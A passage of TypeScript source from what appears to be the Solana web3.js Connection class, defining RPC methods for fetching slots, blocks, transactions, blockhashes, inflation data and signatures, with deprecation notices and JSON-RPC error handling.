('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get vote accounts');\n }\n return res.result;\n }\n\n /**\n * Fetch the current slot that the node is processing\n */\n async getSlot(\n commitmentOrConfig?: Commitment | GetSlotConfig,\n ): Promise<number> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [],\n commitment,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getSlot', args);\n const res = create(unsafeRes, jsonRpcResult(number()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get slot');\n }\n return res.result;\n }\n\n /**\n * Fetch the current slot leader of the cluster\n */\n async getSlotLeader(\n commitmentOrConfig?: Commitment | GetSlotLeaderConfig,\n ): Promise<string> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [],\n commitment,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getSlotLeader', args);\n const res = create(unsafeRes, jsonRpcResult(string()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get slot leader');\n }\n return res.result;\n }\n\n /**\n * Fetch `limit` number of slot leaders starting from `startSlot`\n *\n * @param startSlot fetch slot leaders starting from this slot\n * @param limit number of slot leaders to return\n */\n async getSlotLeaders(\n startSlot: number,\n limit: number,\n ): Promise<Array<PublicKey>> {\n const args = [startSlot, limit];\n const unsafeRes = await this._rpcRequest('getSlotLeaders', args);\n const res = create(unsafeRes, jsonRpcResult(array(PublicKeyFromString)));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get slot leaders');\n }\n return res.result;\n }\n\n /**\n * Fetch the current status of a signature\n */\n async getSignatureStatus(\n signature: TransactionSignature,\n config?: SignatureStatusConfig,\n ): Promise<RpcResponseAndContext<SignatureStatus | null>> {\n const {context, value: values} = await this.getSignatureStatuses(\n [signature],\n config,\n );\n assert(values.length === 1);\n const value = values[0];\n return {context, value};\n }\n\n /**\n * Fetch the current statuses of a batch of signatures\n */\n async getSignatureStatuses(\n signatures: Array<TransactionSignature>,\n config?: SignatureStatusConfig,\n ): Promise<RpcResponseAndContext<Array<SignatureStatus | null>>> {\n const params: any[] = [signatures];\n if (config) {\n params.push(config);\n }\n const unsafeRes = await this._rpcRequest('getSignatureStatuses', params);\n const res = create(unsafeRes, GetSignatureStatusesRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get signature status');\n }\n return res.result;\n }\n\n /**\n * Fetch the current transaction count of the cluster\n */\n async getTransactionCount(\n commitmentOrConfig?: Commitment | GetTransactionCountConfig,\n ): Promise<number> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [],\n commitment,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getTransactionCount', args);\n const res = create(unsafeRes, jsonRpcResult(number()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get transaction count',\n );\n }\n return res.result;\n }\n\n /**\n * Fetch the current total currency supply of the cluster in lamports\n *\n * @deprecated Deprecated since RPC v1.2.8. Please use {@link getSupply} instead.\n */\n async getTotalSupply(commitment?: Commitment): Promise<number> {\n const result = await this.getSupply({\n commitment,\n excludeNonCirculatingAccountsList: true,\n });\n return result.value.total;\n }\n\n /**\n * Fetch the cluster InflationGovernor parameters\n */\n async getInflationGovernor(\n commitment?: Commitment,\n ): Promise<InflationGovernor> {\n const args = this._buildArgs([], commitment);\n const unsafeRes = await this._rpcRequest('getInflationGovernor', args);\n const res = create(unsafeRes, GetInflationGovernorRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get inflation');\n }\n return res.result;\n }\n\n /**\n * Fetch the inflation reward for a list of addresses for an epoch\n */\n async getInflationReward(\n addresses: PublicKey[],\n epoch?: number,\n commitmentOrConfig?: Commitment | GetInflationRewardConfig,\n ): Promise<(InflationReward | null)[]> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [addresses.map(pubkey => pubkey.toBase58())],\n commitment,\n undefined /* encoding */,\n {\n ...config,\n epoch: epoch != null ? epoch : config?.epoch,\n },\n );\n const unsafeRes = await this._rpcRequest('getInflationReward', args);\n const res = create(unsafeRes, GetInflationRewardResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get inflation reward');\n }\n return res.result;\n }\n\n /**\n * Fetch the specific inflation values for the current epoch\n */\n async getInflationRate(): Promise<InflationRate> {\n const unsafeRes = await this._rpcRequest('getInflationRate', []);\n const res = create(unsafeRes, GetInflationRateRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get inflation rate');\n }\n return res.result;\n }\n\n /**\n * Fetch the Epoch Info parameters\n */\n async getEpochInfo(\n commitmentOrConfig?: Commitment | GetEpochInfoConfig,\n ): Promise<EpochInfo> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [],\n commitment,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getEpochInfo', args);\n const res = create(unsafeRes, GetEpochInfoRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get epoch info');\n }\n return res.result;\n }\n\n /**\n * Fetch the Epoch Schedule parameters\n */\n async getEpochSchedule(): Promise<EpochSchedule> {\n const unsafeRes = await this._rpcRequest('getEpochSchedule', []);\n const res = create(unsafeRes, GetEpochScheduleRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get epoch schedule');\n }\n const epochSchedule = res.result;\n return new EpochSchedule(\n epochSchedule.slotsPerEpoch,\n epochSchedule.leaderScheduleSlotOffset,\n epochSchedule.warmup,\n epochSchedule.firstNormalEpoch,\n epochSchedule.firstNormalSlot,\n );\n }\n\n /**\n * Fetch the leader schedule for the current epoch\n * @return {Promise<RpcResponseAndContext<LeaderSchedule>>}\n */\n async getLeaderSchedule(): Promise<LeaderSchedule> {\n const unsafeRes = await this._rpcRequest('getLeaderSchedule', []);\n const res = create(unsafeRes, GetLeaderScheduleRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get leader schedule');\n }\n return res.result;\n }\n\n /**\n * Fetch the minimum balance needed to exempt an account of `dataLength`\n * size from rent\n */\n async getMinimumBalanceForRentExemption(\n dataLength: number,\n commitment?: Commitment,\n ): Promise<number> {\n const args = this._buildArgs([dataLength], commitment);\n const unsafeRes = await this._rpcRequest(\n 'getMinimumBalanceForRentExemption',\n args,\n );\n const res = create(unsafeRes, GetMinimumBalanceForRentExemptionRpcResult);\n if ('error' in res) {\n console.warn('Unable to fetch minimum balance for rent exemption');\n return 0;\n }\n return res.result;\n }\n\n /**\n * Fetch a recent blockhash from the cluster, return with context\n * @return {Promise<RpcResponseAndContext<{blockhash: Blockhash, feeCalculator: FeeCalculator}>>}\n *\n * @deprecated Deprecated since RPC v1.9.0. Please use {@link getLatestBlockhash} instead.\n */\n async getRecentBlockhashAndContext(commitment?: Commitment): Promise<\n RpcResponseAndContext<{\n blockhash: Blockhash;\n feeCalculator: FeeCalculator;\n }>\n > {\n const args = this._buildArgs([], commitment);\n const unsafeRes = await this._rpcRequest('getRecentBlockhash', args);\n const res = create(unsafeRes, GetRecentBlockhashAndContextRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get recent blockhash');\n }\n return res.result;\n }\n\n /**\n * Fetch recent performance samples\n * @return {Promise<Array<PerfSample>>}\n */\n async getRecentPerformanceSamples(\n limit?: number,\n ): Promise<Array<PerfSample>> {\n const unsafeRes = await this._rpcRequest(\n 'getRecentPerformanceSamples',\n limit ? [limit] : [],\n );\n const res = create(unsafeRes, GetRecentPerformanceSamplesRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get recent performance samples',\n );\n }\n\n return res.result;\n }\n\n /**\n * Fetch the fee calculator for a recent blockhash from the cluster, return with context\n *\n * @deprecated Deprecated since RPC v1.9.0. Please use {@link getFeeForMessage} instead.\n */\n async getFeeCalculatorForBlockhash(\n blockhash: Blockhash,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<FeeCalculator | null>> {\n const args = this._buildArgs([blockhash], commitment);\n const unsafeRes = await this._rpcRequest(\n 'getFeeCalculatorForBlockhash',\n args,\n );\n\n const res = create(unsafeRes, GetFeeCalculatorRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get fee calculator');\n }\n const {context, value} = res.result;\n return {\n context,\n value: value !== null ? value.feeCalculator : null,\n };\n }\n\n /**\n * Fetch the fee for a message from the cluster, return with context\n */\n async getFeeForMessage(\n message: VersionedMessage,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<number | null>> {\n const wireMessage = toBuffer(message.serialize()).toString('base64');\n const args = this._buildArgs([wireMessage], commitment);\n const unsafeRes = await this._rpcRequest('getFeeForMessage', args);\n\n const res = create(unsafeRes, jsonRpcResultAndContext(nullable(number())));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get fee for message');\n }\n if (res.result === null) {\n throw new Error('invalid blockhash');\n }\n return res.result;\n }\n\n /**\n * Fetch a list of prioritization fees from recent blocks.\n */\n async getRecentPrioritizationFees(\n config?: GetRecentPrioritizationFeesConfig,\n ): Promise<RecentPrioritizationFees[]> {\n const accounts = config?.lockedWritableAccounts?.map(key => key.toBase58());\n const args = accounts?.length ? [accounts] : [];\n const unsafeRes = await this._rpcRequest(\n 'getRecentPrioritizationFees',\n args,\n );\n const res = create(unsafeRes, GetRecentPrioritizationFeesRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get recent prioritization fees',\n );\n }\n return res.result;\n }\n /**\n * Fetch a recent blockhash from the cluster\n * @return {Promise<{blockhash: Blockhash, feeCalculator: FeeCalculator}>}\n *\n * @deprecated Deprecated since RPC v1.8.0. Please use {@link getLatestBlockhash} instead.\n */\n async getRecentBlockhash(\n commitment?: Commitment,\n ): Promise<{blockhash: Blockhash; feeCalculator: FeeCalculator}> {\n try {\n const res = await this.getRecentBlockhashAndContext(commitment);\n return res.value;\n } catch (e) {\n throw new Error('failed to get recent blockhash: ' + e);\n }\n }\n\n /**\n * Fetch the latest blockhash from the cluster\n * @return {Promise<BlockhashWithExpiryBlockHeight>}\n */\n async getLatestBlockhash(\n commitmentOrConfig?: Commitment | GetLatestBlockhashConfig,\n ): Promise<BlockhashWithExpiryBlockHeight> {\n try {\n const res = await this.getLatestBlockhashAndContext(commitmentOrConfig);\n return res.value;\n } catch (e) {\n throw new Error('failed to get recent blockhash: ' + e);\n }\n }\n\n /**\n * Fetch the latest blockhash from the cluster\n * @return {Promise<BlockhashWithExpiryBlockHeight>}\n */\n async getLatestBlockhashAndContext(\n commitmentOrConfig?: Commitment | GetLatestBlockhashConfig,\n ): Promise<RpcResponseAndContext<BlockhashWithExpiryBlockHeight>> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [],\n commitment,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getLatestBlockhash', args);\n const res = create(unsafeRes, GetLatestBlockhashRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get latest blockhash');\n }\n return res.result;\n }\n\n /**\n * Returns whether a blockhash is still valid or not\n */\n async isBlockhashValid(\n blockhash: Blockhash,\n rawConfig?: IsBlockhashValidConfig,\n ): Promise<RpcResponseAndContext<boolean>> {\n const {commitment, config} = extractCommitmentFromConfig(rawConfig);\n const args = this._buildArgs(\n [blockhash],\n commitment,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('isBlockhashValid', args);\n const res = create(unsafeRes, IsBlockhashValidRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to determine if the blockhash `' + blockhash + '`is valid',\n );\n }\n return res.result;\n }\n\n /**\n * Fetch the node version\n */\n async getVersion(): Promise<Version> {\n const unsafeRes = await this._rpcRequest('getVersion', []);\n const res = create(unsafeRes, jsonRpcResult(VersionResult));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get version');\n }\n return res.result;\n }\n\n /**\n * Fetch the genesis hash\n */\n async getGenesisHash(): Promise<string> {\n const unsafeRes = await this._rpcRequest('getGenesisHash', []);\n const res = create(unsafeRes, jsonRpcResult(string()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get genesis hash');\n }\n return res.result;\n }\n\n /**\n * Fetch a processed block from the cluster.\n *\n * @deprecated Instead, call `getBlock` using a `GetVersionedBlockConfig` by\n * setting the `maxSupportedTransactionVersion` property.\n */\n async getBlock(\n slot: number,\n rawConfig?: GetBlockConfig,\n ): Promise<BlockResponse | null>;\n\n /**\n * @deprecated Instead, call `getBlock` using a `GetVersionedBlockConfig` by\n * setting the `maxSupportedTransactionVersion` property.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getBlock(\n slot: number,\n rawConfig: GetBlockConfig & {transactionDetails: 'accounts'},\n ): Promise<AccountsModeBlockResponse | null>;\n\n /**\n * @deprecated Instead, call `getBlock` using a `GetVersionedBlockConfig` by\n * setting the `maxSupportedTransactionVersion` property.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getBlock(\n slot: number,\n rawConfig: GetBlockConfig & {transactionDetails: 'none'},\n ): Promise<NoneModeBlockResponse | null>;\n\n /**\n * Fetch a processed block from the cluster.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getBlock(\n slot: number,\n rawConfig?: GetVersionedBlockConfig,\n ): Promise<VersionedBlockResponse | null>;\n\n // eslint-disable-next-line no-dupe-class-members\n async getBlock(\n slot: number,\n rawConfig: GetVersionedBlockConfig & {transactionDetails: 'accounts'},\n ): Promise<VersionedAccountsModeBlockResponse | null>;\n\n // eslint-disable-next-line no-dupe-class-members\n async getBlock(\n slot: number,\n rawConfig: GetVersionedBlockConfig & {transactionDetails: 'none'},\n ): Promise<VersionedNoneModeBlockResponse | null>;\n\n /**\n * Fetch a processed block from the cluster.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getBlock(\n slot: number,\n rawConfig?: GetVersionedBlockConfig,\n ): Promise<\n | VersionedBlockResponse\n | VersionedAccountsModeBlockResponse\n | VersionedNoneModeBlockResponse\n | null\n > {\n const {commitment, config} = extractCommitmentFromConfig(rawConfig);\n const args = this._buildArgsAtLeastConfirmed(\n [slot],\n commitment as Finality,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getBlock', args);\n try {\n switch (config?.transactionDetails) {\n case 'accounts': {\n const res = create(unsafeRes, GetAccountsModeBlockRpcResult);\n if ('error' in res) {\n throw res.error;\n }\n return res.result;\n }\n case 'none': {\n const res = create(unsafeRes, GetNoneModeBlockRpcResult);\n if ('error' in res) {\n throw res.error;\n }\n return res.result;\n }\n default: {\n const res = create(unsafeRes, GetBlockRpcResult);\n if ('error' in res) {\n throw res.error;\n }\n const {result} = res;\n return result\n ? {\n ...result,\n transactions: result.transactions.map(\n ({transaction, meta, version}) => ({\n meta,\n transaction: {\n ...transaction,\n message: versionedMessageFromResponse(\n version,\n transaction.message,\n ),\n },\n version,\n }),\n ),\n }\n : null;\n }\n }\n } catch (e) {\n throw new SolanaJSONRPCError(\n e as JSONRPCError,\n 'failed to get confirmed block',\n );\n }\n }\n\n /**\n * Fetch parsed transaction details for a confirmed or finalized block\n */\n async getParsedBlock(\n slot: number,\n rawConfig?: GetVersionedBlockConfig,\n ): Promise<ParsedAccountsModeBlockResponse>;\n\n // eslint-disable-next-line no-dupe-class-members\n async getParsedBlock(\n slot: number,\n rawConfig: GetVersionedBlockConfig & {transactionDetails: 'accounts'},\n ): Promise<ParsedAccountsModeBlockResponse>;\n\n // eslint-disable-next-line no-dupe-class-members\n async getParsedBlock(\n slot: number,\n rawConfig: GetVersionedBlockConfig & {transactionDetails: 'none'},\n ): Promise<ParsedNoneModeBlockResponse>;\n // eslint-disable-next-line no-dupe-class-members\n async getParsedBlock(\n slot: number,\n rawConfig?: GetVersionedBlockConfig,\n ): Promise<\n | ParsedBlockResponse\n | ParsedAccountsModeBlockResponse\n | ParsedNoneModeBlockResponse\n | null\n > {\n const {commitment, config} = extractCommitmentFromConfig(rawConfig);\n const args = this._buildArgsAtLeastConfirmed(\n [slot],\n commitment as Finality,\n 'jsonParsed',\n config,\n );\n const unsafeRes = await this._rpcRequest('getBlock', args);\n try {\n switch (config?.transactionDetails) {\n case 'accounts': {\n const res = create(unsafeRes, GetParsedAccountsModeBlockRpcResult);\n if ('error' in res) {\n throw res.error;\n }\n return res.result;\n }\n case 'none': {\n const res = create(unsafeRes, GetParsedNoneModeBlockRpcResult);\n if ('error' in res) {\n throw res.error;\n }\n return res.result;\n }\n default: {\n const res = create(unsafeRes, GetParsedBlockRpcResult);\n if ('error' in res) {\n throw res.error;\n }\n return res.result;\n }\n }\n } catch (e) {\n throw new SolanaJSONRPCError(e as JSONRPCError, 'failed to get block');\n }\n }\n\n /*\n * Returns the current block height of the node\n */\n getBlockHeight = (() => {\n const requestPromises: {[hash: string]: Promise<number>} = {};\n return async (\n commitmentOrConfig?: Commitment | GetBlockHeightConfig,\n ): Promise<number> => {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [],\n commitment,\n undefined /* encoding */,\n config,\n );\n const requestHash = fastStableStringify(args);\n requestPromises[requestHash] =\n requestPromises[requestHash] ??\n (async () => {\n try {\n const unsafeRes = await this._rpcRequest('getBlockHeight', args);\n const res = create(unsafeRes, jsonRpcResult(number()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get block height information',\n );\n }\n return res.result;\n } finally {\n delete requestPromises[requestHash];\n }\n })();\n return await requestPromises[requestHash];\n };\n })();\n\n /*\n * Returns recent block production information from the current or previous epoch\n */\n async getBlockProduction(\n configOrCommitment?: GetBlockProductionConfig | Commitment,\n ): Promise<RpcResponseAndContext<BlockProduction>> {\n let extra: Omit<GetBlockProductionConfig, 'commitment'> | undefined;\n let commitment: Commitment | undefined;\n\n if (typeof configOrCommitment === 'string') {\n commitment = configOrCommitment;\n } else if (configOrCommitment) {\n const {commitment: c, ...rest} = configOrCommitment;\n commitment = c;\n extra = rest;\n }\n\n const args = this._buildArgs([], commitment, 'base64', extra);\n const unsafeRes = await this._rpcRequest('getBlockProduction', args);\n const res = create(unsafeRes, BlockProductionResponseStruct);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get block production information',\n );\n }\n\n return res.result;\n }\n\n /**\n * Fetch a confirmed or finalized transaction from the cluster.\n *\n * @deprecated Instead, call `getTransaction` using a\n * `GetVersionedTransactionConfig` by setting the\n * `maxSupportedTransactionVersion` property.\n */\n async getTransaction(\n signature: string,\n rawConfig?: GetTransactionConfig,\n ): Promise<TransactionResponse | null>;\n\n /**\n * Fetch a confirmed or finalized transaction from the cluster.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getTransaction(\n signature: string,\n rawConfig: GetVersionedTransactionConfig,\n ): Promise<VersionedTransactionResponse | null>;\n\n /**\n * Fetch a confirmed or finalized transaction from the cluster.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getTransaction(\n signature: string,\n rawConfig?: GetVersionedTransactionConfig,\n ): Promise<VersionedTransactionResponse | null> {\n const {commitment, config} = extractCommitmentFromConfig(rawConfig);\n const args = this._buildArgsAtLeastConfirmed(\n [signature],\n commitment as Finality,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getTransaction', args);\n const res = create(unsafeRes, GetTransactionRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get transaction');\n }\n\n const result = res.result;\n if (!result) return result;\n\n return {\n ...result,\n transaction: {\n ...result.transaction,\n message: versionedMessageFromResponse(\n result.version,\n result.transaction.message,\n ),\n },\n };\n }\n\n /**\n * Fetch parsed transaction details for a confirmed or finalized transaction\n */\n async getParsedTransaction(\n signature: TransactionSignature,\n commitmentOrConfig?: GetVersionedTransactionConfig | Finality,\n ): Promise<ParsedTransactionWithMeta | null> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgsAtLeastConfirmed(\n [signature],\n commitment as Finality,\n 'jsonParsed',\n config,\n );\n const unsafeRes = await this._rpcRequest('getTransaction', args);\n const res = create(unsafeRes, GetParsedTransactionRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get transaction');\n }\n return res.result;\n }\n\n /**\n * Fetch parsed transaction details for a batch of confirmed transactions\n */\n async getParsedTransactions(\n signatures: TransactionSignature[],\n commitmentOrConfig?: GetVersionedTransactionConfig | Finality,\n ): Promise<(ParsedTransactionWithMeta | null)[]> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const batch = signatures.map(signature => {\n const args = this._buildArgsAtLeastConfirmed(\n [signature],\n commitment as Finality,\n 'jsonParsed',\n config,\n );\n return {\n methodName: 'getTransaction',\n args,\n };\n });\n\n const unsafeRes = await this._rpcBatchRequest(batch);\n const res = unsafeRes.map((unsafeRes: any) => {\n const res = create(unsafeRes, GetParsedTransactionRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get transactions');\n }\n return res.result;\n });\n\n return res;\n }\n\n /**\n * Fetch transaction details for a batch of confirmed transactions.\n * Similar to {@link getParsedTransactions} but returns a {@link TransactionResponse}.\n *\n * @deprecated Instead, call `getTransactions` using a\n * `GetVersionedTransactionConfig` by setting the\n * `maxSupportedTransactionVersion` property.\n */\n async getTransactions(\n signatures: TransactionSignature[],\n commitmentOrConfig?: GetTransactionConfig | Finality,\n ): Promise<(TransactionResponse | null)[]>;\n\n /**\n * Fetch transaction details for a batch of confirmed transactions.\n * Similar to {@link getParsedTransactions} but returns a {@link\n * VersionedTransactionResponse}.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getTransactions(\n signatures: TransactionSignature[],\n commitmentOrConfig: GetVersionedTransactionConfig | Finality,\n ): Promise<(VersionedTransactionResponse | null)[]>;\n\n /**\n * Fetch transaction details for a batch of confirmed transactions.\n * Similar to {@link getParsedTransactions} but returns a {@link\n * VersionedTransactionResponse}.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getTransactions(\n signatures: TransactionSignature[],\n commitmentOrConfig: GetVersionedTransactionConfig | Finality,\n ): Promise<(VersionedTransactionResponse | null)[]> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const batch = signatures.map(signature => {\n const args = this._buildArgsAtLeastConfirmed(\n [signature],\n commitment as Finality,\n undefined /* encoding */,\n config,\n );\n return {\n methodName: 'getTransaction',\n args,\n };\n });\n\n const unsafeRes = await this._rpcBatchRequest(batch);\n const res = unsafeRes.map((unsafeRes: any) => {\n const res = create(unsafeRes, GetTransactionRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get transactions');\n }\n const result = res.result;\n if (!result) return result;\n\n return {\n ...result,\n transaction: {\n ...result.transaction,\n message: versionedMessageFromResponse(\n result.version,\n result.transaction.message,\n ),\n },\n };\n });\n\n return res;\n }\n\n /**\n * Fetch a list of Transactions and transaction statuses from the cluster\n * for a confirmed block.\n *\n * @deprecated Deprecated since RPC v1.7.0. Please use {@link getBlock} instead.\n */\n async getConfirmedBlock(\n slot: number,\n commitment?: Finality,\n ): Promise<ConfirmedBlock> {\n const args = this._buildArgsAtLeastConfirmed([slot], commitment);\n const unsafeRes = await this._rpcRequest('getConfirmedBlock', args);\n const res = create(unsafeRes, GetConfirmedBlockRpcResult);\n\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get confirmed block');\n }\n\n const result = res.result;\n if (!result) {\n throw new Error('Confirmed block ' + slot + ' not found');\n }\n\n const block = {\n ...result,\n transactions: result.transactions.map(({transaction, meta}) => {\n const message = new Message(transaction.message);\n return {\n meta,\n transaction: {\n ...transaction,\n message,\n },\n };\n }),\n };\n\n return {\n ...block,\n transactions: block.transactions.map(({transaction, meta}) => {\n return {\n meta,\n transaction: Transaction.populate(\n transaction.message,\n transaction.signatures,\n ),\n };\n }),\n };\n }\n\n /**\n * Fetch confirmed blocks between two slots\n */\n async getBlocks(\n startSlot: number,\n endSlot?: number,\n commitment?: Finality,\n ): Promise<Array<number>> {\n const args = this._buildArgsAtLeastConfirmed(\n endSlot !== undefined ? [startSlot, endSlot] : [startSlot],\n commitment,\n );\n const unsafeRes = await this._rpcRequest('getBlocks', args);\n const res = create(unsafeRes, jsonRpcResult(array(number())));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get blocks');\n }\n return res.result;\n }\n\n /**\n * Fetch a list of Signatures from the cluster for a block, excluding rewards\n */\n async getBlockSignatures(\n slot: number,\n commitment?: Finality,\n ): Promise<BlockSignatures> {\n const args = this._buildArgsAtLeastConfirmed(\n [slot],\n commitment,\n undefined,\n {\n transactionDetails: 'signatures',\n rewards: false,\n },\n );\n const unsafeRes = await this._rpcRequest('getBlock', args);\n const res = create(unsafeRes, GetBlockSignaturesRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get block');\n }\n const result = res.result;\n if (!result) {\n throw new Error('Block ' + slot + ' not found');\n }\n return result;\n }\n\n /**\n * Fetch a list of Signatures from the cluster for a confirmed block, excluding rewards\n *\n * @deprecated Deprecated since RPC v1.7.0. Please use {@link getBlockSignatures} instead.\n */\n async getConfirmedBlockSignatures(\n slot: number,\n commitment?: Finality,\n ): Promise<BlockSignatures> {\n const args = this._buildArgsAtLeastConfirmed(\n [slot],\n commitment,\n undefined,\n {\n transactionDetails: 'signatures',\n rewards: false,\n },\n );\n const unsafeRes = await this._rpcRequest('getConfirmedBlock', args);\n const res = create(unsafeRes, GetBlockSignaturesRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get confirmed block');\n }\n const result = res.result;\n if (!result) {\n throw new Error('Confirmed block ' + slot + ' not found');\n }\n return result;\n }\n\n /**\n * Fetch a transaction details for a confirmed transaction\n *\n * @deprecated Deprecated since RPC v1.7.0. Please use {@link getTransaction} instead.\n */\n async getConfirmedTransaction(\n signature: TransactionSignature,\n commitment?: Finality,\n ): Promise<ConfirmedTransaction | null> {\n const args = this._buildArgsAtLeastConfirmed([signature], commitment);\n const unsafeRes = await this._rpcRequest('getConfirmedTransaction', args);\n const res = create(unsafeRes, GetTransactionRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get transaction');\n }\n\n const result = res.result;\n if (!result) return result;\n\n const message = new Message(result.transaction.message);\n const signatures = result.transaction.signatures;\n return {\n ...result,\n transaction: Transaction.populate(message, signatures),\n };\n }\n\n /**\n * Fetch parsed transaction details for a confirmed transaction\n *\n * @deprecated Deprecated since RPC v1.7.0. Please use {@link getParsedTransaction} instead.\n */\n async getParsedConfirmedTransaction(\n signature: TransactionSignature,\n commitment?: Finality,\n ): Promise<ParsedConfirmedTransaction | null> {\n const args = this._buildArgsAtLeastConfirmed(\n [signature],\n commitment,\n 'jsonParsed',\n );\n const unsafeRes = await this._rpcRequest('getConfirmedTransaction', args);\n const res = create(unsafeRes, GetParsedTransactionRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get confirmed transaction',\n );\n }\n return res.result;\n }\n\n /**\n * Fetch parsed transaction details for a batch of confirmed transactions\n *\n * @deprecated Deprecated since RPC v1.7.0. Please use {@link getParsedTransactions} instead.\n */\n async getParsedConfirmedTransactions(\n signatures: TransactionSignature[],\n commitment?: Finality,\n ): Promise<(ParsedConfirmedTransaction | null)[]> {\n const batch = signatures.map(signature => {\n const args = this._buildArgsAtLeastConfirmed(\n [signature],\n commitment,\n 'jsonParsed',\n );\n return {\n methodName: 'getConfirmedTransaction',\n args,\n };\n });\n\n const unsafeRes = await this._rpcBatchRequest(batch);\n const res = unsafeRes.map((unsafeRes: any) => {\n const res = create(unsafeRes, GetParsedTransactionRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get confirmed transactions',\n );\n }\n return res.result;\n });\n\n return res;\n }\n\n /**\n * Fetch a list of all the confirmed signatures for transactions involving an address\n * within a specified slot range. Max range allowed is 10,000 slots.\n *\n * @deprecated Deprecated since RPC v1.3. Please use {@link getConfirmedSignaturesForAddress2} instead.\n *\n * @param address queried address\n * @param startSlot start slot, inclusive\n * @param endSlot end slot, inclusive\n */\n async getConfirmedSignaturesForAddress(\n address: PublicKey,\n startSlot: number,\n endSlot: number,\n ): Promise<Array<TransactionSignature>> {\n let options: any = {};\n\n let firstAvailableBlock = await this.getFirstAvailableBlock();\n while (!('until' in options)) {\n startSlot--;\n if (startSlot <= 0 || startSlot < firstAvailableBlock) {\n break;\n }\n\n try {\n const block = await this.getConfirmedBlockSignatures(\n startSlot,\n 'finalized',\n );\n if (block.signatures.length > 0) {\n options.until =\n block.signatures[block.signatures.length - 1].toString();\n }\n } catch (err) {\n if (err instanceof Error && err.message.includes('skipped')) {\n continue;\n } else {\n throw err;\n }\n }\n }\n\n let highestConfirmedRoot = await this.getSlot('finalized');\n while (!('before' in options)) {\n endSlot++;\n if (endSlot > highestConfirmedRoot) {\n break;\n }\n\n try {\n const block = await this.getConfirmedBlockSignatures(endSlot);\n if (block.signatures.length > 0) {\n options.before =\n block.signatures[block.signatures.length - 1].toString();\n }\n } catch (err) {\n if 